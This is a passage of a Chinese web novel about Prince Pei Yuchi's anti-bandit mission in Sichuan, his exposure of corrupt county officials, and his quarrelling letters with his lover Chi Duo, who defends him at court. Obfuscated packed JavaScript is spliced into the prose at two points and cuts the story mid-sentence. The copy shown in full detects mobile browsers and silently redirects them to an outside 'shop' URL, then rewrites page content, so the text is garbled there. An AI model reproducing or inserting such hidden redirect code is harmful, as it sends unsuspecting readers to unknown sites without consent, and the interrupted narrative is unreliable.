那字分明没变,可落在他眼里,却横竖都成了不是。一横一竖,都像是故意往人心口戳,戳得人又气又恼。 他冷着脸拆开信,内容更是碍眼至极。 这一回,既没掉书袋,也没半句艳词秽语,全是大白话,直白得很,偏偏句句都戳在要害上。 启者无他。 行止仓促,未及当面叮嘱,只好留字一封,免得你醒来,又要拍案骂人。 昨夜之事,不必多想。你本就困得厉害,我看着碍眼,索性替你行个方便。睡得沉些,也省得醒来卖乖耍赖,徒惹人头疼。 我走得早,是怕你醒来缠人。自家狸奴娇憨耍赖的本事,我最清楚,一旦赖上,甩都甩不开,索性先行一步,免得你翻脸拔刀,叫人招架不住。 你若此刻正捏着这封信磨牙,想来精神尚好。气也好,骂也罢,权当替我送行。 头若稍觉发沉,记我一笔便是;账先欠着,待我归来,一并清算,左右跑不了。 京中诸般热闹,烦你代我看过,记在心里,改日说与我听,以解路途之闷。 饮食当时,少动刀兵。 待我回来,再由你慢慢发作。 裴与驰 留字 迟铎盯着“裴与驰”三个字,只觉一股气直冲天灵盖,恨不能当场把这封信揉成一团,狠狠掷向那个人。那股气还没散干净,鼻子先发起酸来,来得又急又狠,毫不讲理。因为他忽然意识到:他现在,已经找不到人可掷了。 他下意识偏过头,吸了吸鼻子,像是要把这点不合时宜的情绪硬生生压回去。 怎么能这样? 耍阴招把自己放倒还不算,一句正经的解释都不给,一句软话也不说,走得干脆利落,连当面告别都没有。 迟铎咬了咬牙,低声骂了一句:“混账。” 骂出口了,心里却没轻松半分。 那封信还攥在手里,指腹贴着纸页,能清楚地摸到那点折痕。他这才发现,信纸被人折得很仔细,边角齐整,显然是临走前反复压过的。 不是随手一塞。 迟铎心里那点酸,忽然就没了去处。 他站在原地,许久没动。到最后,也只是把信重新展开,又从头到尾看了一遍,像是要从那些欠揍的大白话里,找出一点别的什么来。 可找来找去,字里行间,仍旧只有那副理直气壮的混账样子。 偏偏就是这副样子,叫他恨也恨不彻底,气也气不长久,到底还是舍不得。 他盯着最后那一句,看了很久。 良久,才低低骂了一声,语气却没什么力道:“你最好……如约给我滚回来。” 不然前缘既断,后事不续;这一世的人若不回来,下辈子,也休想再来寻他。 15. 入蜀 一个月后,三殿下的第二封信,送进了将军府。 信封上连“狸奴亲启”四个字都省了,只潦草地画了只耷拉着耳朵的猫,那线条敷衍至极,像是随手一勾,偏又认得出来,气人得很。信纸一展,满纸皆是闲话。抱怨西南湿冷入骨,日日阴雨,自己尚且勉强适应,若是狸奴来了,怕是连尾巴都要沾湿,精气神都要发霉;又说客栈简陋,床板硬得硌人,睡得腰酸背痛,很是想念长安那张铺着软云锦的榻。末了,顺手写下驿站所在,落笔轻描淡写,暗示之意却再明显不过:摆明了是在装可怜,哄人回信。 若是换作往常,迟铎早已心软。 可这一回,三殿下千算万算,算漏了一点:他家狸奴此刻,心气正盛,毛不但没耷拉,反倒日日竖着,躁得很。迟铎看完,冷笑一声,指尖一弹,那信纸便飘飘摇摇落在案角。他没再多看一眼,转身提刀,直奔校场。 那一日,羽林卫这帮勋爵子弟,算是倒了八辈子的霉。往日还能插科打诨几句的迟小将军,今日提着刀进来时,周身气压低得吓人,像是要把他们当匈奴来练。有人刚解了护腕想歇口气,一抬头,对上迟铎那张冷得掉渣的脸,当场把那口凉气岔在了嗓子眼里。 “……完了,”那人低声道,“他今日眼神不善。” 旁边的同伴缩了缩脖子:“何止不善,我看他不是来练兵的,是来找人祭刀的。” “祭谁?” 一圈人互相看了看,脚底下跟抹了油似的,齐齐往后退了半步。 “我昨儿值夜,一宿没睡,是真的虚!” “我今早见了他连个屁都没敢放,肯定不是我惹的!” “坏了,定是殿下出京,他心情不爽,迁怒咱们了!” 话音未落,那没眼力见的校尉扯着嗓子一声喝令:“点名对练!” 这一嗓子,简直是催命符。装聋作哑的、仰头看天的、当场喊肚子疼的,一个都没跑掉。最后抓阄定人,那倒霉蛋捏着短签,脸白得像新刷的墙,未练先降:“……大、大哥,下手留情啊。” 迟铎冷冷抬眼,什么也没说,只把手里的长刀往地上一插。 “铮”的一声,火星四溅。 他抬手,面无表情地招了招:滚过来。 半个时辰后,那倒霉蛋被揍得怀疑人生。迟小将军心头那口恶气,却只散了三分。 ——毕竟没揍到负心汉。 花开两朵,暂各表一枝。 远在千里之外的西南,裴与驰绝非信中写的那般凄惨。只是这边忙的事,确实不打算让家里的狸奴知道。他心里清楚,那人黏他得紧,若是知晓此地凶险,怕是拼着抗旨也要杀过来。于是信中只谈风月湿冷,半字不提刀兵。 他抵达忠县,连县衙的门都未踏入,径直在城中客店住下。地方官员闻讯前来拜见,一概吃了闭门羹,只得了句推脱:一路急行军,脚程太紧,骨头都要散架,需得好生歇上几日。 那帮官员细细一算,从京中到蜀地,这位三殿下竟只用了一月便至,确实快得有些过头,谁也不敢多扰,只暗中派了几个衙役在客店附近“照看”,权当尽了地主之谊。 裴与驰表面上是在客店里挺尸,实则半点没闲着。他带了武秦、武汉两个亲随,换下官服,改作寻常行装,扮成往来行商的富家公子;其余亲卫也各自散开,有的乔装成流民,有的扮作脚夫,有的在街边支起摊子,混迹于市井之间。 白日里,三殿下在街头巷尾闲逛;夜里便钻进酒楼茶肆,听那说书人拍案讲古。几日下来,忠县的地皮,几乎被他踩了个通透。说书人说到“蜈蚣王”时,言辞虽不客气,却也谈不上深恶痛绝。裴与驰听在耳里,记在心头,这所谓的匪患,倒不像是百姓久受鱼肉、怨声载道的模样。 “穷山恶水,未必专出刁民;但恶官横行,必是常事。”他坐在茶寮里,指腹缓缓摩挲着粗糙的茶碗边缘,语气平静:“烂根不除,伤口难愈。这匪患的根,不在山里,在衙门。” 几番明查暗访下来,脉络渐渐清晰。这县衙里真正说得上话的,并非那位循规蹈矩的流官县令,而是世代在此扎根的“坐地虎”,县尉李士廉。此人品级虽在主簿之下,名义上只管操练县兵、巡缉盗贼,可其中的门道却大得很。这支县兵年年换饷,却从不换人;号册虽在衙门,刀枪却实打实攥在他李士廉手里。本地团练、衙役,多半与他沾亲带故,认的也是他那张脸。名义上是护民安城的官差,私底下,却是李家的私兵打手。 这是个披着官皮的活阎王。朝廷正税之外,他另立名目,多增杂税,水税、山税、过路钱,名目繁多。交不上的,男丁拖进林子打断腿,女眷则不知所踪。山民多不识字,契书往案上一摊,红手印一按,便算认账。 所谓“蜈蚣王”徐正义,原也只是个猎户,带着两个弟弟在山中讨活。巡山要收打猎税,下山换盐米又被拦着收过路钱,三兄弟一合计,索性下山做长工,图个安稳。谁知刚进地主家门,李士廉的人便来了,粮食抄走,牲口牵走,临走时还嫌不够,竟将地主家的闺女一并掳了去。那夜,地主吊死在梁上;第二天清早,徐正义带着两个弟弟回了山,自此落草为寇,誓与狗官不共戴天。 武秦回禀时,脸色不太好,又添了一桩事。他有个侄儿,名叫李温玉,看不惯叔父恶行,曾与其闹翻,扬言要出县往上告状。结果人还未出城门,当晚便在街口被县兵拦下拖走,从此人间蒸发。坊间传闻,人是被关进李家旧宅的密室里,活生生饿了几日,悄无声息地死了。尸首未见,这案子自然也就没人敢再提。只留下孤儿寡母,蜷缩在城南一处破宅里,门口日日有人守着,美其名曰“照看”,实则画地为牢,不许她们多吐露半个字。 裴与驰听完,眉梢微挑,竟还笑了一下,“正好。”他说,“他想捂盖子,那咱们便帮他揭开。” 他当即吩咐武秦,扮作李温玉妻子的表亲前去探望,又点了几名好手,暗中照应。 没多久,武秦便回了命。 几名亲卫一前一后进院,灯影晃动间,拖进来几个人。那几人手脚被反绑,衣衫狼狈,却不破不旧;脚上蹬着官靴,腰间缴下的短刀刀鞘上,赫然印着县衙的记号。更妙的是,搜身时连那本号册也一并翻了出来,名字清清楚楚,哪天当值、哪天巡街,一页不差。 遮都懒得遮。 李士廉操练出来的县兵,白日点卯巡街,夜里听令出手;皇令不认,只认李士廉那张脸。据武秦回禀,白日里他尚未见到那对孤儿寡母,甚至连李氏的面都没碰着,不过是找本地人问了几句路,风声便已泄了。半道上,那伙人便截住了他,言辞极为放肆:“谁借你的胆子,敢来触李爷的霉头?”话音未落,人便围了上来。本打算揍一顿扔出城去,叫他长长记性;谁知一来二去,见武秦是个练家子,这帮人也不废话,刀直接出鞘。显然是平日里杀人越货惯了,根本不把王法放在眼里。在忠县这一亩三分地上,李士廉便是王法。 可惜这回,他们踢到了铁板,不到片刻工夫,几人便被卸了下巴,扒了个精光,五花大绑地扔在院中。 裴与驰坐在灯下,漫不经心地翻着那本号册,听完连眉都没皱一下。 “人分开关好。”他头也不抬,淡淡吩咐,“不交代的,不给水米。若是困了——” 他顿了顿,语气温和得令人发毛。 “就泼冷水。若还不服,把头按进水里清醒清醒也可。总之,好好伺候。” 这句话落下,武秦心头猛地一跳。眼前这位爷,哪里还像那个奉旨剿匪、克己复礼的三皇子?这手段,这气场,倒更像是哪家黑吃黑的地头蛇少当家,浑身上下,匪气十足。 偏远之地的土狗,又哪里见识过长安司狱那等剥皮拆骨的阎王手段?这群平日里作威作福的县兵,被拖进屋里,连天亮都没撑到,便哭爹喊娘,竹筒倒豆子般,全招了。 裴与驰坐在案前,目光扫过那些触目惊心的罪状,指尖在案上轻轻一点。正这时,武秦又送来了县令的拜帖。这帮地头蛇,早已按捺不住。自三殿下落脚忠县起,帖子便日日准时往客店递,换着花样地试探这位皇子的深浅。或恭或惧,或拐弯抹角,字里行间无不是探路的意思。 这一回,裴与驰不紧不慢地接过帖子。他一边漫不经心地想着,今晚这场鸿门宴,手里这把剑究竟要饮多少人的血,才能把这片地皮洗干净;一边却还能分出神来,思绪早已越过千山万水,飘回了长安。 算算日子,那封信也该到了吧? 那只笨狸奴,此刻是不是正捏着信纸,一边咬着牙骂他混账,一边又红着眼眶,心软得一塌糊涂?若是这会儿正提笔回信,嘘寒问暖想来少不了;最好情至深处,抬笔写下一句“裴郎”…… 夫君二字,确实还是有些难为他。 裴与驰甚至连回信都在心里打好了腹稿:要怎么三言两语把人哄回来,又怎么不动声色地坏心眼一把,直把那只狸奴逗得炸毛,却偏偏又离不开他。 只可惜,这如意算盘打得噼啪作响,却唯独算漏了天意。 那封信,送得竟比随行的传令官还要慢上三拍。预想中“笨狸奴被一封信哄得心软落泪”的光景并未出现。迟铎先是听完了他干的“好事”,转头又收到了这封刻意瞒报的信,胸口积压已久的那点火气,像是被人泼了一勺滚油,轰然烧起。 烧得更旺了。 长安,太极殿外。 迟铎刚刚下朝,那张俏脸黑得像锅底。 方才朝堂之上,兵部尚书满面红光,当殿宣读捷报:“三皇子裴与驰,初至西南,雷厉风行!未入县衙,先赴鸿门宴,席间暴起,当众斩杀县尉李士廉,血溅五步!其后更是一夜之间查抄李府,将一众党羽尽数下狱,忠县百姓拍手称快!” “杀伐果断!” “智勇双全!” 朝臣们这回也顾不得分什么党不党派了,只盯着圣人的脸色行事。圣人眉目舒展,殿中便一片溢美之词,一声高过一声,交头接耳,满是赞叹。至于背地里那些“军权压行政”“不去剿匪却清官场”的嘀咕,皆被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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字字句句,尽是闲话。什么湿冷难耐,什么酒食不惯,什么风景甚好,写得轻巧无比,仿佛他不是去剿匪,而是去游山玩水、踏青赏花。 落到现实里,却是血溅宴席,一剑封喉。 “行……”迟铎气极反笑,将那信纸狠狠往案上一拍,“你给我等着。” 他转头去了校场,狠狠干了一场,直到汗湿重衣、手臂发麻,才勉强把那股邪火压下去。回到府中,连衣服都顾不上换,便大步流星走到书案前,直接铺开纸笔。 想演是吧? 想粉饰太平是吧? 那便陪他演个够。 迟铎提笔,墨汁饱蘸。往日里让他写篇文章都要抓耳挠腮半天,今日这笔锋却如刀出鞘,力透纸背,下笔顺畅得仿佛有神相助。 一撇一捺,尽是怒气森森;一勾一点,全是杀伐决断。 若是大学士此刻在场,见了这封信,怕是要老眼圆睁,胡子都翘起来。顽石点头,铁树开花,这榆木脑袋被气急了,竟也能写出这般阴阳怪气、字字珠玑的好文章。 【书致三皇子殿下】 见字如面。 闻君在西南,风湿雨苦,甚是挂念。然今听朝中奏报,始知殿下所谓“湿冷”,乃血腥未干;所谓“倦怠”,乃杀伐过盛。 殿下信中将西南写作山水闲处,酒食风景,样样不落,想来去得称心。既如此,便不必急归。彼处人杰地灵,往来亦多,殿下若遇意气相投、看得顺眼之人,不妨另作良配,择日纳之,想来也省得舟车往返,徒劳折腾。 至于我,京中一切如常。长安天暖风和,校场亦热闹。我操练如旧,刀亦顺手,竟觉比从前更清净自在。殿下既可在外另寻新欢,我亦不必在此虚耗岁月,自会另择良人,各安其处。 此后山高路远,各行其是。少通信,免生牵挂。 不想你。 不等你。 你别回来了。 迟铎字 写罢,迟铎将笔狠狠一掷,笔杆砸在案上,发出一声脆响。他动作粗鲁地将信纸折好,塞进信封,又用力封死封口,指腹在封蜡上重重一按,仿佛封住的不是信,而是那个负心汉的嘴。 “来人!”一声怒喝落下。 一直守在门口、听着屋里动静早已心惊肉跳的管家,连忙推门进来,声音都发了虚:“少、少将军……” 迟铎脸色冷得吓人,抬手便将那封信拍进管家怀里,咬牙切齿道:“送去西南。加急!” 管家下意识接住,只觉那信封烫手得很,像是揣了块烧红的炭。他迟疑了一瞬,还是硬着头皮问了一句:“加、加急?” 这话一出口,管家自己都觉得多嘴,看少将军这脸色,这信里头哪像是软语,分明是刀子。八百里加急送过去……这不是上赶着去骂人么? 但保命要紧,他只能连连点头,抱紧那封信,一溜烟似的退了出去。 书房里很快只剩下迟铎一人,他站在原地,胸口起伏未定,良久才缓缓抬头,望着窗外长安月色。 月色清冷,恍若玉兔独守广寒宫,寂寥得紧。 迟铎低低骂了一声“骗子。” 骂完却仍不动,只垂着长睫,睫尾一点湿意被月光一照,亮得晶莹,要坠不坠。 他站了片刻,终于低声道:“……你最好,一根头发都别少。要不然——”他咬了咬牙,仍旧嘴硬得很,却到底更像惦念,“我真的……再也不理你了。 16. 开荒 迟小将军那封加急信尚未送到,忠县连同邻近几县的官场,已先震了一遭,风声鹤唳。原本众人不过想探一探这位三皇子的深浅,天高皇帝远,平日里最多也就是西南巡抚下榻视察,哪里见过长安来的皇子?谁料这位三殿下一到,不过半月工夫,便已摸清忠县根底,初次照面便敢翻脸动刀,杀伐果断得不像皇子,倒更像久经阵仗的武将。 忠县李士廉之事,并非孤例。天下之大,每一县里,或多或少都有一个李士廉。只是从前无人敢揭,也无人肯揭。这一刀落下,连西南巡抚都被惊动。他本就心中有鬼,如今更是坐立难安。偏偏三皇子眼明心亮,行事又不循常规,他若贸然动作,必然打草惊蛇;可若真被这位殿下顺藤摸瓜,翻出西南匪患背后的根底…… 那便不是失职两字,而是万劫不复。 先有动作的,是忠县县令陆知遥。 他本就是流官,任期只余一年,期满便要调离。初到忠县时,连案牍都未熟透,便被李士廉结结实实来了个下马威。陆知遥并非蜀中人,在此地既无根基,也无依靠,一心只想着熬满任期,回长安去,是以向来不生事、不出头,每日点卯画押,能混便混。 偏在这时,三皇子奉旨入蜀,名为剿匪,实则军权在手,又敢越过地方官司,直接插手县中事务。陆知遥心里明白,能做到这一步的,必是圣眷正隆之人,若能得这位殿下青眼,莫说一年,便是立时调回长安,也未必没有可能。 机会送到眼前,他自然不肯放过。 那日三殿下入县衙,半点寒暄也无,径直落座主位,翻看案卷。陆知遥立在一旁,低眉顺眼,端茶、添水、研墨,一样不落,殷勤得活像个随侍的小吏,哪里还有半分一县父母官的架子。 裴与驰自始至终未曾抬头,只翻过一页卷宗,语气平直地开了口:“陆县令可知,为何本县监牢早已满员,所关之人,却不像穷凶极恶之徒?” 他略一停顿,目光仍落在纸上,语调却冷了几分:“反倒多是些老人、妇孺?” 陆知遥喉头一紧,脸上的笑意几乎挂不住。他原以为三皇子既然盯上李士廉,便可顺水推舟,把诸般旧案尽数推到死人身上,做实这一桩,也算给殿下一个交代,谁知这位殿下并不急着清算旧账,反倒一眼落在了监牢之中。 “回殿下,”他勉强稳住声线道,“这些人……原本都是来告李士廉的,只是那李士廉行事周全,证据齐备,案子便未能坐实。” 话一出口,他心下一横,索性沿着这条路走到底,人既已死,账便该死在他身上。 裴与驰未接话,只又翻过一页卷宗。 “提审。”他说,“即刻。”语气不重,却不容回避。 陆知遥却没动。 因为关在牢里的,固然有一部分是李士廉旧日所抓,可更多的,却是忠县上奏“匪患猖獗、请调官兵剿捕”之后,由外调官军所为。 那些兵打着剿匪的旗号,所到之处,比土匪更甚。夜里踹门,白日搜屋,见粮便称“匪粮”,见人便疑“匪属”;男人拖走讯问,女人缩在灶后不敢出声,家中翻得底朝天,连锅里最后一把米也不曾放过。百姓忍无可忍,方才来县衙告状。 陆知遥本不敢独断,便邀了领兵驰援的将官陈正衡一同商议,由其出面先拍案称“必严惩”,再缓声问“可有证据”,继而追究是哪一营、哪一哨、哪名军士所为。百姓哪里识得?兵来如潮,甲胄覆面,连脸都不曾露,指不出人来,话锋便立刻倒转,成了诬告官军、扰乱军务。于是人被收押,名目也好安,疑似通匪”“诬告官军”,牢房自然满了。 这些内情,陆知遥哪里敢对三皇子直言?只得含糊托词道:“多是匪人家眷。”话里话外,暗示殿下不必在此深究,当以剿匪为先。毕竟这番章程多半由他出面周旋,真要翻将出来,乌纱难保,连性命都未必能留。 裴与驰抬眼看了他一眼,未发一言,只抬手将佩剑横置案上,指节一挑,“呛啷”一声,长剑出鞘。寒光乍现,剑身上尚留着旧日血痕,暗色沿刃蜿蜒而下,霎时将陆知遥拽回那夜血溅满面、惨叫不绝的情形。 陆知遥脸色瞬间褪尽,腿一软,几乎站立不住,喉头发紧,声音走了调,连连告饶:“殿、殿下恕罪!” 末了,又像是生怕慢上一瞬,忙不迭道:“卑职这就命人,将关押的百姓尽数提来,请殿下亲审!” 提上来的先是个老汉,鬓发花白,脊背佝偻,磕头磕得额角见血,声音嘶哑发颤:“三殿下,求您为小民做主啊……我闺女,是被那些遮面的兵糟蹋的。我来告官时,这位陆县令起初还安抚我,说必会查办,给了我二十两银子,让我回去候信。” 老汉哽了一下,几乎说不下去:“可不到一炷香工夫,他就翻了脸。” 堂中一静。 陆知遥脸色微变,旋即摆出一副循例行事的模样,抢先开口道:“此事干系人命,当日卑职接下状子,便已详加询问。证见何在?究竟是哪一名军士所为,须得认明,不可妄指。” 仍是当日那套说辞,滴水不漏。 老汉伏在地上,颤声道:“那夜兵皆遮面,小民……实在识不出人来……” 陆知遥立刻接道:“既指不出凶手,又何以递状?所告之事如此重大,无凭无据,岂非诬告?”说到此处,还不忘觑一眼裴与驰的神色,忙又补了一句,“殿下明鉴,卑职所行,皆依律例。” 裴与驰始终未发一言。 随后提审的几人,所言大同小异,皆言援兵集结当日未见匪踪,却见官兵入村,杀人、抢粮、掳妇、焚屋,一夜之间,村落成墟。正因兵来如潮、甲胄覆面,无法辨认,状子方成无据之言,遂被以“匪属”“诬告官军”“扰乱军务”之名下狱。 话至此处,陆知遥终究忍不住为自己辩解:“殿下,卑职实有替他们申冤之心,只是这些人口供反复,前后不一,卑职不敢轻信。”他又往前推了一步,“状子卑职已细细审过,也已禀报陈将领。陈将领索要证据,卑职只能向百姓问人,也给过他们时日,只是实在指认不出。陈将领因此动怒,说奉旨驰援,却反被败坏军名,也要卑职给个交代。卑职身在其位,总不能寒了远来效命的军士之心。” 话里话外,说的无非是自己一切依律行事,既顾了法度,也顾了军心,至于牢里这些人,不过是指不出凶手,怨不得旁人。 裴与驰仍未开口,只抬手示意先将那几名百姓带下,堂中顿时清净下来,他这才抬眼盯住陆知遥,语气不重,却叫人心头一紧:“陆县令书读得多,律例记得也清楚,那你可知,我奉旨领兵剿匪,却为何敢当众斩杀李士廉?” 陆知遥一时摸不清三皇子的用意,不敢贸然应声。 “哐”的一声,玄铁剑又被置于案上,剑鞘磕得案面轻震。裴与驰淡淡道:“实不相瞒,圣人另有密谕,命我持尚方之剑而来,剿匪之外,亦要清理奸蠹。”他说到这里,目光终于落在陆知遥身上,“故而李士廉我杀得,若有需要,西南巡抚,我亦杀得。” 言罢,他抬手抽剑,寒光一闪,剑刃贴着案沿掠过,他起身随意比划了一下,语气依旧平静:“斩李士廉时,我便觉得此剑用得多了,刃口有些钝。”他停了停,“陆县令不妨替我想想法子,把这剑好生养一养。” 这一番话说得含蓄,却比直言威逼更叫人心寒。陆知遥只觉魂魄都被抽走了一半,为官数十载,他岂会不明白,这位三殿下纵使是在虚张声势,也绝非他一个区区县令能赌得起的。况且天家子弟,真要借题处置一个地方官,纵有弹章,也不过几句搪塞便能压下。他念头转过,膝盖一软,已然跪伏在地,叩首不止。 裴与驰这才缓声开口:“陆县令这会儿,想起来了么?” 他微微抬了抬下颌,语调不疾不徐,却叫人背脊生寒:“那便从头说起。” 陆知遥哪里还敢有所隐瞒,连声应诺,随即将前后因由尽数招来:何日调兵,何营驻扎,如何借“剿匪”之名搜掠村舍,百姓如何上告,又如何被反指为“诬告官军”“通匪生事”而押入牢中……一桩一件,俱不敢遗漏。 听完陆知遥这一番禀报,裴与驰并未立时发作。其一,此事眼下尚无可据:官军夜来劫掠,甲胄覆面,百姓指不出人来,堂上便缺了“证见”,陆知遥脑子确算灵光;其二,他奉旨来剿匪,先斩李士廉已属越例,仗着圣人素喜雷霆手段,杀个县尉尚能遮掩过去,可若将刀口再往官军身上移,那便不是整顿一县吏治,而是触及军伍,牵一发动全身,稍有不慎,便成了把柄。 更何况,这一回的匪患处处透着诡异:援兵名为驰援剿匪,入境之后却不见与匪交锋,倒像走个过场,转而横行乡里;可偏偏又报称折损八百余人,理由一概推作“密林瘴气”。若只是贪掠作恶,何至于死得如此离奇?若真有战事,又为何半点匪影都不曾落在案卷里? 裴与驰心下已有计较,第二日,他亲手开了牢门放了牢房的百姓,但并未过问和插手陈正衡的军纪,而是真准备剿起匪来,或者说,准备打一场持久战。 先是下令张榜,将李士廉盘剥百姓、纵兵为恶的罪状一一列出,明白写清:其人已于席间伏诛,以正国法。榜文贴遍忠县城门、集市、乡道要口,叫百姓都看清楚,这盘踞多年的毒瘤,已被连根拔起。 紧接着,他遣出数名嗓门大的军卒,日夜守在徐正义所据的山头之下,不带一兵一卒,只轮番宣讲一事:李士廉已死,官匪勾结之局已破。凡因受压迫而上山者,只要双手未沾无辜鲜血,下山投诚者一概不问旧罪;流民无籍者,当场入册,编为良民。此言一出,山头那终年不散的匪气,竟生生被这归乡二字吹散了三分。 他又顺势立下新规:邻里前后相保,互为稽察。凡窝藏匪类不报者,与匪同罪;若能举报藏匿之所者,官府赏银五两。这五两银子,足以让一个贫寒之家过上一年安稳日子。 而最叫人意外的,是最后一道军令。裴与驰调动随行自长安而来的千余精锐,不进山剿捕,也不巡街耀武,而是脱了甲胄,分赴各村各寨。他们不入民舍,不取一粟,而是执起锄头,清理荒地,修整那些被李士廉废弃的田畴,平整淤塞的水渠。 彼时正值隆冬,西南多荒。百姓家中早已被搜刮得揭不开锅,若只谈招安而无生计,匪徒下山也不过是换个地方饿死。裴与驰看得很准:匪之所以为匪,多半不是生性凶顽,而是无田可种。西南密林多如繁星,若只靠刀剑,人往深处一钻便无可奈何。唯有屯田积粮,让百姓手里有粮,心里有底,匪患才没有春风吹又生的土壤。 待春回大地之时,田间地头已现雏形。官军与百姓并肩劳作,汗水滴入沃土。山中那些蜈蚣们见此情形,就方知这一次,这位长安来的三殿下手里拿的不仅是一把能杀人的快剑,更是一张能活人的神方。这才能真正断绝匪患之根。 所以裴与驰不紧不慢,开起了荒,但千里之外的朝堂之上却因此吵翻了天。 闻知年做低伏小足足半年,锋芒尽敛,言辞愈发恭顺。圣人看在眼里,心中自有计较。更何况,闻知年近来又进贡了一批自西域辗转得来的药材,炼成丹丸后,圣人服用,果然神清气爽,旧日盗汗发热的毛病竟也缓了许多。焚香静坐时,心神澄澈,与菩萨交流亦觉顺遂。圣宠一回,闻知年便顺理成章官复原职,顺便宽了宽太子的心。 风向,随之而变。 闻知年垂眸不动,只微不可察地递了个眼色。兵部侍郎当即心领神会,出列时袍袖带风,直接扣下最重的帽子:“三皇子奉旨剿匪,首恶既除,民心已聚,正是乘势扫穴之时。殿下何以迟迟不动,反令精锐官兵下地开荒?臣恐殿下有意拖延,坐失良机,更有损天家威严!” 大殿之上,细碎的附和声四起。就在此时,一道身影从武官列中踏出,步履沉稳,截断了所有的窃窃私语。 靖武伯,迟铎。 他平日在朝中少言寡语,此刻垂首而立,看似恭顺,开口却似刀锋出鞘:“敢问侍郎大人,您口中的军机,究竟是个什么机?” 兵部侍郎一怔,显然没料到这平日里只知练兵的武夫敢在御前发难,冷声道:“奉旨剿匪,兵贵神速,自当雷厉风行。” “既是兵贵神速,可有定期?”迟铎不疾不徐,甚至微微抬起头,目光如有实质般落在对方脸上,“是西南巡抚衙门上了请期的折子,还是兵部下了催战的檄文?若有明文,请示于御前;若无文书……” 他顿了顿,声音骤然冷了几分:“臣便不敢让贻误军机这四个字,就这么不明不白地扣在殿下头上。” 这一句如快刀剔骨,先把罪名生生刮了下来。 兵部侍郎脸色微青,急道:“良机在人心!如今李士廉伏诛,正是匪势颓丧、民心所向之时——” “民心二字,最容易被人拿来作伐。”迟铎截得极快,根本不给对方喘息之机。他不再看那侍郎,转身面向御座,脊背挺得笔直。 “臣在塞外随军时,听父辈说过:民心向着谁,得看百姓眼里谁更像‘匪’。西南新调援兵入境,不思安民,反倒先搜粮掳人、焚舍搜山。纵口称剿匪,在百姓眼里,不过是换了一伙拿刀的强盗!此时若逼殿下速进山,逼的未必是匪,倒像是要把西南百姓往绝路上赶。” “靖武伯慎言!”兵部侍郎被他驳得气急败坏,“你身为羽林武官,何以如此回护三皇子?莫不是——” “臣不敢。”迟铎声音清朗,干脆利落,“臣与殿下有伴读之谊,名列内廷章程,一言一行皆有史官可查。臣若言过一分,便是逾矩;但若有人妄图以莫须有的罪名构陷皇子,臣亦不能坐视。” 迟铎没给对方喘息之机,将话题稳稳拉回政务本身:“臣只问大人一句:若今冬仓廪空虚,明春无种下地,殿下纵然能剿得了一座荒山,可待到来年饥荒一起,流民遍地,这匪患如何能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239954|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断根?兵书有云,最忌‘只求捷报,不求终局’。殿下今日令军助耕,未必是误事,倒像是先把人心这条路给拓宽了,教那山中误入歧途之人,不必再以死相搏。” 殿内针落可闻,朝堂各位都听懂,靖武伯这是在逼兵书侍郎要么拿出文书自证清白,要么闭嘴收回诛心之言。 而那兵部侍郎若敢再深挖,势必牵扯出西南巡抚的渎职,那可是清流一脉的人,闻知年绝不敢在此刻以一敌二。 兵部侍郎彻底哑火,冷汗顺着脊梁骨爬了下来。 御座之上,圣人指尖轻叩扶手,示意停止交锋。良久,圣人未置一词,只轻轻挥了挥袖。 搁置再议。 下了朝,迟铎走得飞快,只觉得这金碧辉煌的宫殿压抑得让人作呕。 回到将军府,他独坐书房,案头那封裴与驰亲笔所书、辞藻文绉绉却句句阴损、硬生生往他头上扣“贤惠”帽子的回信,此刻正大喇喇地摊在那里。信中那些“主母之风”“妇有四德”的阴阳怪气,早已被他翻来覆去记得一字不差。直到目光落在末尾那句“一根头发不少地回去见你”,心口那股被朝堂污浊气顶上来的翻涌,才勉强被这沉甸甸的承诺压了下去。 迟铎忽然觉得,自己在那封回信里,骂得还是轻了。 这负心之人……纵在“情”之一字上薄幸至极,临行前下药放倒他,信里半句真话不吐,可行事所向,桩桩件件,却都是为民、为绝后患。偏偏满朝朱紫,口中谈的是江山社稷,心里盘算的却尽是党争进退,恨不能啖他肉、食他血。那人却偏还不提半分惊险,只拿这些闲话来逗弄自己。 这世道,真正与匪无异的,仿佛从来不在西南的深山老林,而在这一顶顶冠冕堂皇的官帽之下。 迟铎独自坐在书房中出神,尚不知自己在朝堂上替之周旋的那位负心人,在被党争明枪暗箭围剿之前,早已先被他这封回信气得不轻。 那封足以气死亲夫的回信送到时,裴与驰正坐在简陋驿站的窗前,翻看地志。拆信之前,他原也存了几分指望。自家狸奴纵然别扭,也不至于句句都往刀刃上撞。可信纸一展,目光落在“另择良人、各安其处”八个字上,三殿下当场气极反笑,指腹在那墨迹淋漓的“良人”二字上重重一摁,仿佛那不是纸,而是某只不听话的猫的后颈。 这一刻,他是真切体会到了什么叫“玩火自焚”。 他千算万算,没算到这一路的传令官竟是个脚底生风、疑似暗生双翼的实诚人。想来是生怕忠县这桩“血溅鸿门宴”的大捷若慢上一刻送回长安,便要误了祖宗功德,此人竟一路不歇马、不换人,生生把捷报送出了八百里催命的气势 。 这下可好。 在他那封用来粉饰太平的闲话家书,还在泥泞小道上慢悠悠晃荡时,迟铎已经先在太极殿上听完了他如何深入险境、如何一剑封喉。那只本就惊惶未定的狸奴,骤闻这些杀伐余事,又转头撞见他信中那些“风景甚好”的假话,火气自然是直冲天灵盖。 “好一个另择良人。”裴与驰盯着那张力透纸背的信笺,低低冷笑了一声。 “武秦。”他合上信,语气温和得近乎体恤,却叫人心底发凉。 “属下在。” “外头那个传令官,是哪家挑出来的?”他慢悠悠问道,“年纪不大,功名心倒不小。这一路跑得这样快,想来连马都嫌他烦。” 武秦心头一紧。 